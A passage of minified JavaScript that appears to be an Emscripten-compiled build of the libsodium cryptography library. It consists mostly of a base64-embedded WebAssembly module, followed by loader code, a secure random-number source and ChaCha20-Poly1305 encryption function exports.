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\")||(x=M,M=o.locateFile?o.locateFile(x,g):g+x);var R,U={35256:()=>o.getRandomValue(),35292:()=>{if(void 0===o.getRandomValue)try{var t=\"object\"==typeof window?window:self,e=void 0!==t.crypto?t.crypto:t.msCrypto,r=function(){var t=new Uint32Array(1);return e.getRandomValues(t),t[0]>>>0};r(),o.getRandomValue=r}catch(t){try{var n=require(\"crypto\"),A=function(){var t=n.randomBytes(4);return(t[0]<<24|t[1]<<16|t[2]<<8|t[3])>>>0};A(),o.getRandomValue=A}catch(t){throw\"No secure random number generator found\"}}}},G=t=>{for(;t.length>0;)t.shift()(o)},H=\"undefined\"!=typeof TextDecoder?new TextDecoder(\"utf8\"):void 0,L=(t,e)=>t?((t,e,r)=>{for(var n=e+r,A=e;t[A]&&!(A>=n);)++A;if(A-e>16&&t.buffer&&H)return H.decode(t.subarray(e,A));for(var i=\"\";e>10,56320|1023&c)}}else i+=String.fromCharCode((31&o)<<6|s)}else i+=String.fromCharCode(o)}return i})(y,t,e):\"\",O=[],Y=t=>{var e=(t-p.buffer.byteLength+65535)/65536;try{return p.grow(e),_(),1}catch(t){}},K={b:(t,e,r,n)=>{N(`Assertion failed: ${L(t)}, at: `+[e?L(e):\"unknown filename\",r,n?L(n):\"unknown function\"])},c:()=>{N(\"\")},a:(t,e,r)=>((t,e,r)=>{var n=((t,e)=>{var r;for(O.length=0;r=y[t++];)e+=105!=r&&e%8?4:0,O.push(105==r?m[e>>2]:w[e>>3]),e+=105==r?4:8;return O})(e,r);return U[t].apply(null,n)})(t,e,r),d:(t,e,r)=>y.copyWithin(t,e,e+r),e:t=>{var e=y.length,r=2147483648;if((t>>>=0)>r)return!1;for(var n,A=1;A<=4;A*=2){var i=e*(1+.2/A);i=Math.min(i,t+100663296);var o=Math.min(r,(n=Math.max(t,i))+(65536-n%65536)%65536);if(Y(o))return!0}return!1}},J=function(){var t,e,r={a:K};function n(t,e){var r=t.exports;return p=(J=r).f,_(),J.tc,function(t){if(D--,o.monitorRunDependencies&&o.monitorRunDependencies(D),0==D&&S){var e=S;S=null,e()}}(),r}if(D++,o.monitorRunDependencies&&o.monitorRunDependencies(D),o.instantiateWasm)try{return o.instantiateWasm(r,n)}catch(t){return d(`Module.instantiateWasm callback failed with error: ${t}`),!1}return t=r,e=function(t){n(t.instance)},function(t){return Promise.resolve().then((()=>function(t){if(t==M&&f)return new Uint8Array(f);var e=function(t){if(P(t))return function(t){if(void 0!==h&&h){var e=Buffer.from(t,\"base64\");return new Uint8Array(e.buffer,e.byteOffset,e.length)}try{for(var r=atob(t),n=new Uint8Array(r.length),A=0;AWebAssembly.instantiate(e,t))).then((t=>t)).then(e,(t=>{d(`failed to asynchronously prepare wasm: ${t}`),N(t)})),{}}();function j(){function t(){R||(R=!0,o.calledRun=!0,v||(G(b),o.onRuntimeInitialized&&o.onRuntimeInitialized(),function(){if(o.postRun)for(\"function\"==typeof o.postRun&&(o.postRun=[o.postRun]);o.postRun.length;)t=o.postRun.shift(),k.unshift(t);var t;G(k)}()))}D>0||(function(){if(o.preRun)for(\"function\"==typeof o.preRun&&(o.preRun=[o.preRun]);o.preRun.length;)t=o.preRun.shift(),Q.unshift(t);var t;G(Q)}(),D>0||(o.setStatus?(o.setStatus(\"Running...\"),setTimeout((function(){setTimeout((function(){o.setStatus(\"\")}),1),t()}),1)):t()))}if(o._crypto_aead_chacha20poly1305_encrypt_detached=(t,e,r,n,A,i,s,a,c,h,g,u)=>(o._crypto_aead_chacha20poly1305_encrypt_detached=J.g)(t,e,r,n,A,i,s,a,c,h,g,u),o._crypto_aead_chacha20poly1305_encrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_encrypt=J.h)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_encrypt_detached=(t,e,r,n,A,i,s,a,c,h,g,u)=>(o._crypto_aead_chacha20poly1305_ietf_encrypt_detached=J.i)(t,e,r,n,A,i,s,a,c,h,g,u),o._crypto_aead_chacha20poly1305_ietf_encrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_ietf_encrypt=J.j)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_decrypt_detached=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_decrypt_detached=J.k)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_decrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_decrypt=J.l)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_decrypt_detached=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_ietf_decrypt_detached=J.m)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_decrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_ietf_decrypt=J.n)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_keybytes=()=>(o._crypto_aead_chacha20poly1305_ietf_keybytes=J.o)(),o._crypto_aead_chacha20poly1305_ietf_npubbytes=()=>(o._crypto_aead_chacha20poly1305_ietf_npubbytes=J.p)(),o._crypto_aead_chacha20poly1305_ietf_nsecbytes=()=>(o._crypto_aead_chacha20poly1305_ietf_nsecbytes=J.q)(),o._crypto_aead_chacha20poly1305_ietf_abytes=()=>(o._crypto_aead_chacha20poly1305_ietf_abytes=J.r)(),o._crypto_aead_chacha20poly1305_ietf_messagebytes_max=()=>(o._crypto_aead_chacha20poly1305_ietf_messagebytes_max=J.s)(),o._crypto_aead_chacha20poly1305_ietf_keygen=t=>(o._crypto_aead_chacha20poly1305_ietf_keygen=J.t)(t),o._crypto_aead_chacha20poly1305_keybytes=()=>(o._crypto_aead_chacha20poly1305_keybytes=J.u)(),o._crypto_aead_chacha20poly1305_npubbytes=()=>(o._crypto_aead_chacha20poly1305_npubbytes=J.v)(),o._crypto_aead_chacha20poly1305_nsecbytes=()=>(o._crypto_aead_chacha20poly1305_nsecbytes=J.w)(),o._crypto_aead_chacha20poly1305_abytes=()=>(o._crypto_aead_chacha20poly1305_abytes=J.x)(),o._crypto_aead_chacha20poly1305_messagebytes_max=()=>(o._crypto_aead_chacha20poly1305_messagebytes_max=J.y)(),o._crypto_aead_chacha20poly1305_keygen=t=>(o._crypto_aead_chacha20poly1305_keygen=J.z)(t)